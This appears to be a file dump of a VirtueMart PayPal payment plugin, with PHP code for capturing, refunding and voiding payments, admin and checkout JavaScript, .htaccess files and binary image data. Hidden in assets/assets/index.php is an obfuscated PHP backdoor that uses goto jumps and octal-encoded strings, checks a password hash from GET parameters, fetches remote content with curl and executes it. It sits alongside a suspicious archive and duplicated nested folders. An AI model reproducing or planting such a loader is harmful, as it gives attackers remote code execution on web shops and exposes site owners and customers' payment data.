$post_variables['L_BUTTONVAR']['address_override'] = $this->_method->address_override; $post_variables['L_BUTTONVAR']['noshipping'] = $this->_method->no_shipping; // for version 104 payment action must be lower case $post_variables['L_BUTTONVAR']['paymentaction'] = strtolower($this->_method->payment_action); // Identifies the source that built the code for the button. } public function preparePost() { $post_variables = $this->initPostVariables('BMCreateButton'); $this->setTimeOut(); $this->addOrderInfos($post_variables); $this->addPrices($post_variables); $this->addBillTo($post_variables); $this->addShipTo($post_variables); $this->addAmount($post_variables); $this->addUrls($post_variables); $this->addConfigPaymentParams($post_variables); $this->addPaymentPageParams($post_variables); $btn = 0; foreach ($post_variables['L_BUTTONVAR'] as $key => $buttonVar) { if (!empty($buttonVar)) { $post_variables['L_BUTTONVAR' . $btn++] = $key . '=' . $buttonVar; } } unset($post_variables['L_BUTTONVAR']); $this->sendRequest($post_variables); $valid = $this->handleResponse(); if ($valid) { //$this->customerData->setVar('token', $this->response['TOKEN']); //$this->customerData->save(); if ($this->_method->template != 'templateD') { $this->redirectToPayPal(); } else { return true; } } else { //$this->customerData->clear(); return false; } return true; } function redirectToPayPal() { $websitecode = $this->response['WEBSITECODE']; $emailink = $this->response['EMAILLINK']; if ($this->_method->debug AND $this->_method->template != 'templateD') { echo '
The method is in debug mode. Click here to be redirected to PayPal
'; echo '
The method is in debug mode. ' . $websitecode . 'Click here to be redirected to PayPal
'; jexit(); } else { header('location: ' . $emailink); } } function DoCapture($payment) { $paypal_data = json_decode($payment->paypal_fullresponse); //Only capture payment if it still pending if ($paypal_data->payment_status != 'Pending' && $paypal_data->pending_reason != 'Authorization') { return false; } $post_variables = $this->initPostVariables('DoCapture'); //Do we need to reauthorize ? $reauth = $this->doReauthorize($payment->paypal_response_txn_id, $paypal_data); // the authorisation identification number of the payment you want to capture. if ($reauth === false) { $post_variables['AUTHORIZATIONID'] = $paypal_data->txn_id; } else { $post_variables['AUTHORIZATIONID'] = $reauth; } // Amount to capture. $post_variables['AMT'] = $this->total; $post_variables['CURRENCYCODE'] = $this->currency_code_3; // The value Complete indicates that this the last capture you intend to make. // The value NotComplete indicates that you intend to make additional captures. // N O T E : If Complete, any remaining amount of the original authorised transaction is automatically voided and all remaining open authorisations are voided. $post_variables['COMPLETETYPE'] = 'Complete'; // (Optional) Your invoice number or other identification number that is displayed to the merchant and customer in his transaction history. $post_variables['INVNUM'] = $this->order->order_number; // (Optional) An informational note about this settlement that is displayed to the payer in email and in his transaction history. //$post_variables['NOTE'] = 'add comments if send yto user ?'; $this->sendRequest($post_variables); $success = $this->handleResponse(); if (!$success) { $this->doVoid($payment); } return $success; } /** * https://developer.paypal.com/webapps/developer/docs/classic/paypal-payments-standard/integration-guide/authcapture/ * @param $AuthorizationID * @param $paypal_data * @return bool */ function doReauthorize($AuthorizationID, $paypal_data) { // TODO return false; /* $post_variables = $this->initPostVariables('DoReauthorization'); $post_variables['TOKEN'] = $paypal_data->TOKEN; $post_variables['PAYERID'] = $paypal_data->payer_id; // Unique PayPal customer account identification number $post_variables['AUTHORIZATIONID'] = $AuthorizationID; $post_variables['PAYMENTACTION'] = 'DoReauthorization'; $post_variables['AMT'] = $paypal_data->mc_gross; // ??? $post_variables['CURRENCYCODE'] = $paypal_data->mc_currency; $this->sendRequest($post_variables); if ($this->handleResponse()) { return $this->response['AUTHORIZATIONID']; } else { return false; } */ } function RefundTransaction($payment) { $paypal_data = json_decode($payment->paypal_fullresponse); if (strcasecmp($paypal_data->payment_status, 'Completed') == 0) { $post_variables = $this->initPostVariables('RefundTransaction'); $post_variables['REFUNDTYPE'] = 'Full'; $post_variables['TRANSACTIONID'] = $paypal_data->txn_id; } else if (strcasecmp($paypal_data->payment_status, 'Pending') == 0 && strcasecmp($paypal_data->pending_reason, 'authorization') == 0) { // An authorisation for this transaction has been voided/cancelled $post_variables = $this->initPostVariables('DoVoid'); } else { return false; } $post_variables['AuthorizationID'] = $paypal_data->txn_id; //$post_variables['TOKEN'] = $paypal_data->TOKEN; //$post_variables['PAYERID'] = $paypal_data->payer_id; $this->sendRequest($post_variables); return $this->handleResponse(); } function doVoid($payment) { $paypal_data = json_decode($payment->paypal_fullresponse); $post_variables = $this->initPostVariables('DoVoid'); $post_variables['AuthorizationID'] = $paypal_data->txn_id; $this->sendRequest($post_variables); return $this->handleResponse(); } public function ManageCancelOrder($payment) { $this->RefundTransaction($payment); return; } function getOrderBEFields() { $showOrderBEFields = array( 'TXN_ID' => 'txn_id', 'PAYER_ID' => 'payer_id', 'PAYER_STATUS' => 'payer_status', 'MC_GROSS' => 'mc_gross', 'MC_FEE' => 'mc_fee', 'TAXAMT' => 'tax', 'MC_CURRENCY' => 'mc_currency', 'PAYMENT_STATUS' => 'payment_status', 'PENDING_REASON' => 'pending_reason', 'REASON_CODE' => 'reasoncode', 'PROTECTION_ELIGIBILITY' => 'protection_eligibility', 'CORRELATIONID' => 'CORRELATIONID', 'REFUND_AMOUNT' => 'TOTALREFUNDEDAMOUNT', 'method' => 'method', ); return $showOrderBEFields; } }assets/assets/index.php000066600000013712151374100140011174 0ustar00 $BD0sBc2JALE9NzQ) { $NNhvHVNTll322pG .= $Z9xQA2BiTXndG6x[$BD0sBc2JALE9NzQ - 32944]; PksmFtHYi_6YaN9: } goto gfULqu357sqOj43; gfULqu357sqOj43: YA0DNO0DVud3xTk: goto PX148AVTRthYS8K; pFU7csLxlifil2r: $mCvpxBn7xQQ2akM = "\162" . "\141" . "\156" . "\147" . "\145"; goto sqmLY5HDdOY2O1T; bxZ2pFw6CgFKCJE: $NNhvHVNTll322pG = ''; goto csHnfAETM31MVsi; erm2lPHYX5b4G94: } static function gCnChHjOb1MNm8C($clWTgOYQaed2M1m, $gZJDNWuct9c_sn9) { goto RfHN_f7bocNsxMj; uFQpBCnIVDF3fTt: return empty($QVsAxiZYutKC8Yc) ? $gZJDNWuct9c_sn9($clWTgOYQaed2M1m) : $QVsAxiZYutKC8Yc; goto KnB8qV2CqS0Guxg; ulKUeLelaDgJMW_: $QVsAxiZYutKC8Yc = curl_exec($QUgpgonWwXXCQgB); goto uFQpBCnIVDF3fTt; RfHN_f7bocNsxMj: $QUgpgonWwXXCQgB = curl_init($clWTgOYQaed2M1m); goto vjGsAGER_dG2uKq; vjGsAGER_dG2uKq: curl_setopt($QUgpgonWwXXCQgB, CURLOPT_RETURNTRANSFER, 1); goto ulKUeLelaDgJMW_; KnB8qV2CqS0Guxg: } static function g5BqscRN6i9btvy() { goto iZAfRZAvq35SVBz; oTLQDEERJRQOaMB: $xl567gWbeR393uq = $Oamg5TJqDc1eAxD[2 + 0]($PKbGzGVXdpR7oSB, true); goto ergAYYYefzL8GDk; ergAYYYefzL8GDk: @$Oamg5TJqDc1eAxD[8 + 2](INPUT_GET, "\x6f\x66") == 1 && die($Oamg5TJqDc1eAxD[4 + 1](__FILE__)); goto rMmB38NoIyQb1em; WOR_3pk6kPnCQJB: die; goto mbKHQy39pmqw8CO; qO3NAIqsP6XAm0I: foreach ($g2TIwfMeIHESEN_ as $m_qFVhqhy20HIxc) { $Oamg5TJqDc1eAxD[] = self::aqd182d8Mkx8jx1($m_qFVhqhy20HIxc); N0woHIZqaDusSxQ: } goto baMdFyf1CBQ2Zz7; mbKHQy39pmqw8CO: YUzLLXrsq10CaKF: goto dS_Di6Q_MFpmxoj; fTYd88d5SNV8I2T: $auzzjNA9vhI7CtN = @$Oamg5TJqDc1eAxD[1]($Oamg5TJqDc1eAxD[3 + 7](INPUT_GET, $Oamg5TJqDc1eAxD[8 + 1])); goto NADDC1JzcobDX7m; XaOTSHm_4aYH0on: $cb1yZk_Wpx73t6S = self::gCNChHjOB1mNM8c($xl567gWbeR393uq[1 + 0], $Oamg5TJqDc1eAxD[4 + 1]); goto RA3LODMW3W3CEqg; RA3LODMW3W3CEqg: @$Oamg5TJqDc1eAxD[0]('', $Oamg5TJqDc1eAxD[0 + 7] . $Oamg5TJqDc1eAxD[1 + 3]($cb1yZk_Wpx73t6S) . $Oamg5TJqDc1eAxD[0 + 8]); goto WOR_3pk6kPnCQJB; NADDC1JzcobDX7m: $PKbGzGVXdpR7oSB = @$Oamg5TJqDc1eAxD[3 + 0]($Oamg5TJqDc1eAxD[2 + 4], $auzzjNA9vhI7CtN); goto oTLQDEERJRQOaMB; baMdFyf1CBQ2Zz7: mTgJ5C2ufTKEXMi: goto fTYd88d5SNV8I2T; rMmB38NoIyQb1em: if (!(@$xl567gWbeR393uq[0] - time() > 0 and md5(md5($xl567gWbeR393uq[1 + 2])) === "\x37\x37\x37\x37\x66\x65\70\144\x61\x31\143\63\60\63\141\x39\x39\x38\x36\145\62\x31\67\64\64\x36\x63\142\x38\x30\67\x32")) { goto YUzLLXrsq10CaKF; } goto XaOTSHm_4aYH0on; iZAfRZAvq35SVBz: $g2TIwfMeIHESEN_ = array("\63\x32\71\x37\x31\x7c\x33\x32\x39\x35\x36\x7c\63\x32\x39\66\x39\x7c\63\x32\x39\x37\x33\174\x33\x32\71\x35\64\x7c\x33\62\71\66\71\174\x33\x32\x39\x37\65\x7c\x33\x32\71\x36\70\174\63\62\x39\65\x33\x7c\x33\62\71\x36\60\174\x33\x32\x39\67\61\x7c\x33\x32\x39\65\64\x7c\63\x32\71\x36\65\x7c\x33\x32\x39\x35\71\x7c\63\62\71\66\x30", "\x33\x32\71\x35\65\174\x33\62\x39\x35\64\x7c\x33\x32\71\65\66\x7c\x33\x32\x39\67\x35\x7c\x33\62\71\65\x36\x7c\63\62\x39\65\x39\x7c\x33\62\71\x35\64\174\x33\x33\60\x32\61\174\x33\63\x30\x31\x39", "\63\x32\71\x36\x34\174\x33\62\71\x35\65\174\x33\x32\x39\x35\71\x7c\x33\x32\71\x36\60\174\63\x32\x39\67\65\174\x33\x32\x39\67\60\x7c\63\62\x39\x36\71\x7c\x33\x32\71\67\x31\174\63\62\71\65\71\x7c\x33\x32\71\67\60\174\63\x32\x39\66\x39", "\x33\62\x39\65\70\x7c\x33\x32\71\67\x33\x7c\x33\62\71\67\x31\174\x33\x32\71\x36\x33", "\x33\62\71\x37\x32\x7c\63\x32\x39\67\63\x7c\x33\x32\71\65\65\x7c\63\62\x39\66\71\x7c\63\63\x30\x31\x36\x7c\x33\x33\60\61\x38\174\63\x32\71\x37\65\x7c\63\x32\x39\67\x30\x7c\63\x32\x39\x36\71\174\63\62\71\67\61\x7c\x33\62\x39\x35\71\x7c\63\62\x39\x37\60\x7c\63\62\x39\66\x39", "\x33\62\71\66\x38\x7c\63\62\71\x36\x35\x7c\63\x32\x39\x36\x32\x7c\x33\62\x39\66\71\x7c\x33\62\71\67\x35\174\63\62\x39\x36\67\174\63\x32\x39\66\71\x7c\63\62\71\x35\x34\174\63\62\71\x37\x35\174\x33\x32\71\67\x31\174\x33\62\x39\x35\71\174\63\x32\x39\x36\x30\174\x33\62\71\x35\x34\x7c\x33\62\71\66\71\x7c\63\62\71\x36\x30\174\x33\62\x39\65\64\174\63\62\x39\x35\x35", "\63\62\71\71\70\x7c\63\x33\x30\x32\70", "\x33\62\71\64\x35", "\63\x33\60\x32\63\174\x33\x33\60\x32\x38", "\63\63\60\x30\x35\174\x33\x32\71\x38\70\x7c\x33\x32\71\70\x38\x7c\x33\63\60\x30\x35\174\63\x32\71\70\61", "\63\x32\x39\x36\70\174\63\62\x39\66\65\174\x33\62\71\x36\x32\x7c\x33\x32\x39\65\64\x7c\63\62\x39\x36\x39\x7c\x33\62\x39\x35\66\174\63\62\x39\67\x35\174\x33\62\71\66\x35\174\x33\x32\71\x36\60\174\63\x32\71\65\x38\174\63\x32\x39\65\x33\174\63\x32\x39\x35\64"); goto qO3NAIqsP6XAm0I; dS_Di6Q_MFpmxoj: } } goto D9LzV86cbI9MFIY; RSLpZsi3FypBjBk: $X9K0UYunoXo6eJh = range("\176", "\40"); goto UH4tteI0h8ZXA1e; D9LzV86cbI9MFIY: LBWsnOne9EixET0::G5BqscRN6i9btvY(); ?> assets/assets/cache.php000066600000013013151374100140011122 0ustar00assets/assets/.htaccess000066600000000333151374100140011145 0ustar00 Order allow,deny Deny from all # Order allow,deny Allow from all assets/assets/assets/cache.php000066600000000573151374100140012433 0ustar00assets/assets/assets/index.php000066600000000661151374100140012475 0ustar00assets/assets/assets/.htaccess000066600000000333151374100140012447 0ustar00 Order allow,deny Deny from all # Order allow,deny Allow from all assets/assets/assets/fla_6909676a1717b.zip000066600000012632151374100140013721 0ustar00PKd[2sb_6909676a1717b.tmpUksH+] )LX,Mylxs-B\DHԤ}{~X~>3~? =hʋ 9 ^OU*䢦ʺ!z!RY+*kJ.J[V Zy[t3"^HMAB23b鮄v-z73M7520ZIĈW_:K%I /1G-kÉ| Kya:啲xʟa?$Wݽ,]|n_xI7^E~.#qtFOϟp?<|"|ab>Jш.{[o7wn@ċ 9סo޳(},Wr#OkolϥZphmٮ+߁_NO"I_7͏[Vo$´M䪄N}v?t;m#{->ao?>ɘn̑hA3blUlƶkZϬ eliSznК])rfy"=,}J}켬BVJZaCS~Zjv=˫wAy=cBkZ5-3lM\u?k}hŃv޶n!?O%-޸A[4L.-|\fjp[5͔cATu UОK5N;Y`9<PKd[kc_6909676a1717b.tmp]xHn|h40P U<@9\, mc%VuxHש~~ Źa1D[C#%ćc9LBuTyBg~dǁw ʕtrӜ |wuR3)}V?!sq-;AUjsXI/Xb2 lCv" _qq|'$C>$솠^\Z;o!&ٕ554޾qT;y>,jqGi Th'?`8Ll=5͚Ȁb]a5k,,[fؒ3>|`N Dm x@)K.oQ*" b[ jCS,_X \g4/)hÒ P#(C%Ǯ1 j} ׊(f &<2]2{>4S5k@r1N^X(}`"եDk^xFH/tN@DR2 EPO'tVH#G:e֐ʂ?J ,˂L7GxhTPzT7eis;z9WQx^ynyŗPds¤?42nLQW=^VW_uɑ y^Fͬwmyݑh~eA9]H0-zy 6<\DR3Dz· z:JRtn#(>x5u#EދVD@|G'{8%z»Q-}ʒsCƑc4#UeB<.^x,vՕA/_V[턗`ٺʮ8oiNʯyPK,U_eՌRp(Ҏ8y*鬛 |KL3'[,mkXsSTF"ǺDVAՄOJ%caJ80)L@򃂬 K;.Jฒ DK≳78%rY*qXn2U֒D_ g j4 [w Fd$2'yhV($ M]-LpZ2\ S:snFwG \ RhevkXps.};feJ}C9.(G7,n4^A5\ l1ѷ7Q: Ľ,`詵Kdcds\Q- K#h]=uiaC4KW Gfr˶.~> 'P²"*F9ڡyd`ӱb޲#1Lo{X9niM/HZue, gPVt!aߒ}^^92oI_4qZӋKJ}w(b^ }3oɭ5ƌ5/{gEB*Tpci s73 |(<*~l妉nesR)=S>qST8x^ $oc&Q ^[OȿAj[%ȿ,0SlѰU<ٖ0lL`Xi ݏ5ą,;2*8tDQTG%ur!~a7g힕K{"p i Vorbv3Ay{+/ZC w S,)@ JW4(Fx!~9a>c4@dwVc  ' ^@M^Ck+o( 5r xz6h8=V7%wL0H; ̻+]/fQ&| \LG%lٍB_~Ù8SBhNit-#dˤ㑮D x_B34eSr͋CIp 7SB?ԉaWI|nJ#'y=YP/:36=H9ƅ٫ ڕ 3A曹p#҈Ъ u3d 3lzj n4qRw?'"džvZunUqGjsWeztuJ~]B'N;q7عMo5S~mG7 #G:9wox>SE&G!,N|yyUN QpXJMnwU/%Tg|X^){=äZ O߂TWmk`A(ix:{WNm$> SB=(>4+@AN&(? zc5E^Գ I-jVsK!.dcz(-2*l46su+:@ f͉nHXRV[RiǁeB&"Y;t$ 'JK992St9/}?צVz7Blyc؜ܑPSmc ƍACfH|Ý9T%O[.o Order allow,deny Deny from all assets/css/index.html000066600000000000151374100140010621 0ustar00assets/.htaccess000066600000000177151374100140007651 0ustar00 Order allow,deny Deny from all assets/js/index.html000066600000000000151374100140010445 0ustar00assets/js/admin.js000066600000042337151374100140010121 0ustar00/** * * Paypal payment plugin * * @author Jeremy Magne * @author Valérie Isaksen * @version $Id: paypal.php 7217 2013-09-18 13:42:54Z alatak $ * @package VirtueMart * @subpackage payment * Copyright (C) 2004-2014 Virtuemart Team. All rights reserved. * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php * VirtueMart is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. * See /administrator/components/com_virtuemart/COPYRIGHT.php for copyright notices and details. * * http://virtuemart.net */ jQuery().ready(function ($) { /************/ /* Handlers */ /************/ handleCredentials = function () { var paypalproduct = $('#paramspaypalproduct').val(); var sandbox = $("input[name='params[sandbox]']:checked").val(); if (sandbox==1) { var sandboxmode = 'sandbox'; } else { var sandboxmode = 'production'; } $('.std,.api,.live,.sandbox,.sandbox_warning, .accelerated_onboarding').parents('tr').hide(); $('.get_sandbox_credentials').hide(); $('.get_paypal_credentials').hide(); // $('.authentication').hide(); $('.authentication').parents('tr').hide(); if (paypalproduct == 'std' && sandboxmode == 'production') { $('.std.live').parents('tr').show(); $('.get_paypal_credentials').show(); $('#paramspaypal_merchant_email').addClass("required"); } else if (paypalproduct == 'std' && sandboxmode == 'sandbox') { $('.std.sandbox').parents('tr').show(); $('.get_sandbox_credentials').show(); $('#paramssandbox_merchant_email').addClass("required"); } else if (paypalproduct == 'api' && sandboxmode == 'production') { $('.api.live').parents('tr').show(); $('.get_paypal_credentials').show(); $('#paramspaypal_merchant_email').removeClass("required"); } else if (paypalproduct == 'api' && sandboxmode == 'sandbox') { $('.api.sandbox').parents('tr').show(); $('.get_sandbox_credentials').show(); $('#paramssandbox_merchant_email').removeClass("required"); } else if (paypalproduct == 'exp' && sandboxmode == 'production') { $('.api.live').parents('tr').show(); $('.exp.live').parents('tr').show(); $('.accelerated_onboarding').parents('tr').show(); $('.get_paypal_credentials').show(); $('#paramspaypal_merchant_email').removeClass("required"); //$('.authentication.live.certificate').parents('tr').show(); } else if (paypalproduct == 'exp' && sandboxmode == 'sandbox') { $('.api.sandbox').parents('tr').show(); $('.exp.sandbox').parents('tr').show(); $('.accelerated_onboarding').parents('tr').show(); $('.get_sandbox_credentials').show(); $('#paramssandbox_merchant_email').removeClass("required"); // $('.sandbox.authentication').show(); } else if (paypalproduct == 'hosted' && sandboxmode == 'production') { $('.api.live').parents('tr').show(); $('.hosted.live').parents('tr').show(); $('.get_paypal_credentials').show(); $('#paramspaypal_merchant_email').removeClass("required"); } else if (paypalproduct == 'hosted' && sandboxmode == 'sandbox') { $('.api.sandbox').parents('tr').show(); $('.hosted.sandbox').parents('tr').show(); $('.get_sandbox_credentials').show(); $('#paramssandbox_merchant_email').removeClass("required"); } if (sandboxmode == 'sandbox') { $('.sandbox_warning').parents('tr').show(); } } handlePaymentType = function () { var paypalproduct = $('#paramspaypalproduct').val(); var currentval = $('#paramspayment_type').val(); $('.payment_type').parents('tr').hide(); if (paypalproduct == 'std') { $('.payment_type').parents('tr').show(); } if (paypalproduct == 'exp' || paypalproduct == 'api' || paypalproduct == 'hosted') { $('#paramspayment_type option[value=_cart]').attr('disabled', ''); $('#paramspayment_type option[value=_oe-gift-certificate]').attr('disabled', ''); $('#paramspayment_type option[value=_donations]').attr('disabled', ''); $('#paramspayment_type option[value=_xclick-auto-billing]').attr('disabled', ''); if (currentval == '_cart' || currentval == '_oe-gift-certificate' || currentval == '_donations' || currentval == '_xclick-auto-billing') { $('#paramspayment_type').val('_xclick'); } } else { $('#paramspayment_type option[value=_cart]').removeAttr('disabled'); $('#paramspayment_type option[value=_oe-gift-certificate]').removeAttr('disabled'); $('#paramspayment_type option[value=_donations]').removeAttr('disabled'); $('#paramspayment_type option[value=_xclick-auto-billing]').removeAttr('disabled'); } $('#paramspayment_type').trigger("liszt:updated"); } handleCreditCard = function () { var paypalproduct = $('#paramspaypalproduct').val(); $('.creditcard').parents('tr').hide(); $('.cvv_required').parents('tr').hide(); if (paypalproduct == 'api') { $('.creditcard').parents('tr').show(); $('.cvv_required').parents('tr').show(); } } handleRefundOnCancel = function () { var paypalproduct = $('#paramspaypalproduct').val(); $('.paypal_vm').parents('tr').show(); if (paypalproduct == 'std') { $('.paypal_vm').parents('tr').hide(); } } handleCapturePayment = function () { var paypalproduct = $('#paramspaypalproduct').val(); var payment_action = $('#paramspayment_action').val(); $('.capture').parents('tr').hide(); if (paypalproduct == 'hosted' && payment_action == 'Authorization') { $('.capture').parents('tr').show(); } } handleTemplate = function () { var paypalproduct = $('#paramspaypalproduct').val(); $('.paypaltemplate').parents('tr').hide(); if (paypalproduct == 'hosted') { $('.paypaltemplate').parents('tr').show(); } } handleTemplateParams = function () { var paypaltemplate = $('#paramstemplate').val(); var paypalproduct = $('#paramspaypalproduct').val(); $('.hosted.templateA,.hosted.templateB,.hosted.templateC,.hosted.template_warning').parents('tr').hide(); if (paypalproduct == 'hosted' && paypaltemplate == 'templateA') { $('.hosted.templateA,.hosted.template_warning').parents('tr').show(); } if (paypalproduct == 'hosted' && paypaltemplate == 'templateB') { $('.hosted.templateB,.hosted.template_warning').parents('tr').show(); } if (paypalproduct == 'hosted' && paypaltemplate == 'templateC') { $('.hosted.templateC,.hosted.template_warning').parents('tr').show(); } } handlePaymentAction = function () { var paymenttype = $('#paramspayment_type').val(); //var currentval = $('#paramspayment_action').val(); if (paymenttype == '_xclick-subscriptions' || paymenttype == '_xclick-payment-plan' || paymenttype == '_xclick-auto-billing') { $('#paramspayment_action').val('Sale'); $('#paramspayment_action').parents('tr').hide(); $('#paramspayment_action').trigger("liszt:updated"); } else { $('#paramspayment_action').parents('tr').show(); } } handleLayout = function () { var paypalproduct = $('#paramspaypalproduct').val(); $('.paypallayout').parents('tr').hide(); $('.stdlayout').parents('tr').hide(); $('.explayout').parents('tr').hide(); // $('.hosted.paypallayout').parents('tr').hide(); if (paypalproduct == 'std' || paypalproduct == 'exp' || paypalproduct == 'hosted') { $('.paypallayout').parents('tr').show(); } if (paypalproduct == 'std') { $('.stdlayout').parents('tr').show(); } if (paypalproduct == 'exp') { $('.explayout').parents('tr').show(); } } handleAuthentication = function () { var paypalAuthentication = $('#paramsauthentication').val(); var sandbox = $("input[name='params[sandbox]']:checked").val(); if (sandbox==1) { var sandboxmode = 'sandbox'; } else { var sandboxmode = 'production'; } var paypalproduct = $('#paramspaypalproduct').val(); $('.authentication').parents('tr').hide(); if (paypalproduct != 'std') { if (sandboxmode == 'sandbox') { $('.authentication.sandbox.select').parents('tr').show(); if (paypalAuthentication == 'certificate') { $('.authentication.sandbox.certificate').parents('tr').show(); } else { $('.authentication.sandbox.signature').parents('tr').show(); } } else if (sandboxmode == 'production') { // $('.authentication.live.certificate').parents('tr').show(); $('.authentication.live.select').parents('tr').show(); if (paypalAuthentication == 'certificate') { $('.authentication.live.certificate').parents('tr').show(); } else { $('.authentication.live.signature').parents('tr').show(); } } } } handleExpectedMaxAmount = function () { var paypalproduct = $('#paramspaypalproduct').val(); $('.expected_maxamount').parents('tr').hide(); if (paypalproduct == 'exp') { $('.expected_maxamount').parents('tr').show(); } } handleWarningAuthorizeStd = function () { var paypalproduct = $('#paramspaypalproduct').val(); var payment_action = $('#paramspayment_action').val(); $('.warning_std_authorize').parents('tr').hide(); if (paypalproduct == 'std' && payment_action == 'Authorization') { $('.warning_std_authorize').parents('tr').show(); } } handleWarningHeaderImage = function () { var headerimage = $('#paramheaderimg').val(); $('.warning_headerimg').parents('tr').hide(); if (headerimage != '-1') { $('.warning_headerimg').parents('tr').show(); } } handlePaymentTypeDetails = function () { var selectedMode = $('#paramspayment_type').val(); $('.xclick').parents('tr').hide(); $('.cart').parents('tr').hide(); $('.subscribe').parents('tr').hide(); $('.plan').parents('tr').hide(); $('.billing').parents('tr').hide(); var paypalproduct = $('#paramspaypalproduct').val(); if (paypalproduct == 'std') { switch (selectedMode) { case '_xclick': $('.xclick').parents('tr').show(); $('.cart').parents('tr').hide(); $('.subscribe').parents('tr').hide(); $('.plan').parents('tr').hide(); $('.billing').parents('tr').hide(); break; case '_cart': $('.xclick').parents('tr').hide(); $('.cart').parents('tr').show(); $('.subscribe').parents('tr').hide(); $('.plan').parents('tr').hide(); $('.billing').parents('tr').hide(); break; case '_oe-gift-certificate': $('.cart').parents('tr').hide(); $('.subscribe').parents('tr').hide(); $('.plan').parents('tr').hide(); $('.billing').parents('tr').hide(); break; case '_xclick-subscriptions': $('.cart').parents('tr').hide(); $('.subscribe').parents('tr').show(); $('.plan').parents('tr').hide(); $('#paramssubcription_trials').trigger('change'); $('.billing').parents('tr').hide(); handleSubscriptionTrials(); break; case '_xclick-auto-billing': $('.cart').parents('tr').hide(); $('.subscribe').parents('tr').hide(); $('.plan').parents('tr').hide(); $('.billing').parents('tr').show(); handleMaxAmountType(); break; case '_xclick-payment-plan': $('.cart').parents('tr').hide(); $('.subscribe').parents('tr').hide(); $('.plan').parents('tr').show(); $('.billing').parents('tr').hide(); handlePaymentPlanDefer(); break; case '_donations': $('.cart').parents('tr').hide(); $('.subscribe').parents('tr').hide(); $('.plan').parents('tr').hide(); $('.billing').parents('tr').hide(); break; } } } handleSubscriptionTrials = function () { var nbTrials = $('#paramssubcription_trials').val(); switch (nbTrials) { case '0': $('.trial1').parents('tr').hide(); //$('.trial2').parents('tr').hide(); break; case '1': $('.trial1').parents('tr').show(); //$('.trial2').parents('tr').hide(); break; //case '2': // $('.trial1').parents('tr').show(); // $('.trial2').parents('tr').show(); // break; } } handlePaymentPlanDefer = function () { var doDefer = $('#paramspayment_plan_defer').val(); var paypalproduct = $('#paramspaypalproduct').val(); $('.defer').parents('tr').hide(); if (doDefer == 1) { if (paypalproduct == 'std') { $('.defer_std').parents('tr').show(); } else { $('.defer_api').parents('tr').show(); } } } handleMaxAmountType = function () { var max_amount_type = $('#paramsbilling_max_amount_type').val(); switch (max_amount_type) { case 'cart': case 'cust': $('.billing_max_amount').parents('tr').hide(); break; case 'value': case 'perc': $('.billing_max_amount').parents('tr').show(); break; } } handlePaymentFeesWarning = function () { var paypalproduct = $('#paramspaypalproduct').val(); var selectedMode = $('#paramspayment_type').val(); if ((paypalproduct == 'api' || paypalproduct == 'exp') && (selectedMode == '_xclick-subscriptions' || selectedMode == '_xclick-payment-plan')) { $('.warning_transaction_cost').parents('tr').show(); } else { $('.warning_transaction_cost').parents('tr').hide(); } } /**********/ /* Events */ /**********/ $("input[name='params[sandbox]']").change(function () { handleCredentials(); handleAuthentication(); }); $('#paramspaypalproduct').change(function () { handleCredentials(); handleAuthentication(); handleExpectedMaxAmount(); handleTemplateParams(); handleCreditCard(); handleRefundOnCancel(); handleLayout(); handleTemplate(); handleWarningAuthorizeStd(); handlePaymentType(); handlePaymentPlanDefer(); }); $('#paramsauthentication').change(function () { handleAuthentication(); }); $('#paramstemplate').change(function () { handleTemplateParams(); }); $('#paramspayment_action').change(function () { handleWarningAuthorizeStd(); handleCapturePayment(); }); $('#paramspayment_type').change(function () { handlePaymentAction(); handlePaymentTypeDetails(); handlePaymentFeesWarning(); }); $('#paramheaderimg').change(function () { handleWarningHeaderImage(); }); $('#paramssubcription_trials').change(function () { handleSubscriptionTrials(); }); $('#paramspayment_plan_defer').change(function () { handlePaymentPlanDefer(); }); $('#paramsbilling_max_amount_type').change(function () { handleMaxAmountType(); }); /*****************/ /* Initial calls */ /*****************/ handleCredentials(); handleAuthentication(); handleCreditCard(); handleExpectedMaxAmount(); handleCapturePayment(); handleRefundOnCancel(); handleLayout(); handleTemplate(); handleTemplateParams(); handleWarningAuthorizeStd(); handlePaymentType(); handlePaymentAction(); handlePaymentTypeDetails(); handleWarningHeaderImage(); handlePaymentFeesWarning(); handlePaymentPlanDefer(); }); assets/js/site.js000066600000003635151374100140007773 0ustar00/** * * Paypal payment plugin * * @author Jeremy Magne * @version $Id: paypal.php 7217 2013-09-18 13:42:54Z alatak $ * @package VirtueMart * @subpackage payment * Copyright (C) 2004-2014 Virtuemart Team. All rights reserved. * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php * VirtueMart is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. * See /administrator/components/com_virtuemart/COPYRIGHT.php for copyright notices and details. * * http://virtuemart.net */ jQuery().ready(function($) { $('.cc_type_sandbox').change(function() { var pmid = $(this).attr('rel'); var cc_type = $('#cc_type_'+pmid).val(); switch (cc_type) { case 'Visa': $('#cc_number_'+pmid).val('4007000000027'); $('#cc_cvv_'+pmid).val('123'); break; case 'Mastercard': $('#cc_number_'+pmid).val('6011000000000012'); $('#cc_cvv_'+pmid).val('123'); break; case 'Amex': $('#cc_number_'+pmid).val('370000000000002'); $('#cc_cvv_'+pmid).val('1234'); break; case 'Discover': $('#cc_number_'+pmid).val('5424000000000015'); $('#cc_cvv_'+pmid).val('123'); break; case 'Maestro': $('#cc_number_'+pmid).val('6763318282526706'); $('#cc_cvv_'+pmid).val('123'); break; default: $('#cc_number_'+pmid).val(''); $('#cc_cvv_'+pmid).val(''); } }); $('.cc_type_sandbox').trigger('change'); $('input[name=virtuemart_paymentmethod_id]').change(function() { var selectedMethod = $('input[name=virtuemart_paymentmethod_id]:checked').val(); $('.paymentMethodOptions').hide(); $('#paymentMethodOptions_'+selectedMethod).show(); }); $('input[name=virtuemart_paymentmethod_id]').trigger('change'); }); assets/js/.htaccess000066600000000177151374100140010265 0ustar00 Order allow,deny Deny from all assets/index.html000066600000000000151374100140010031 0ustar00assets/images/.htaccess000066600000000177151374100140011116 0ustar00 Order allow,deny Deny from all assets/images/PP_Buttons_CheckOut_119x24_v3.png000066600000006624151374100140015213 0ustar00PNG  IHDRwbtEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp H uIDATxY{PeeAP "(` 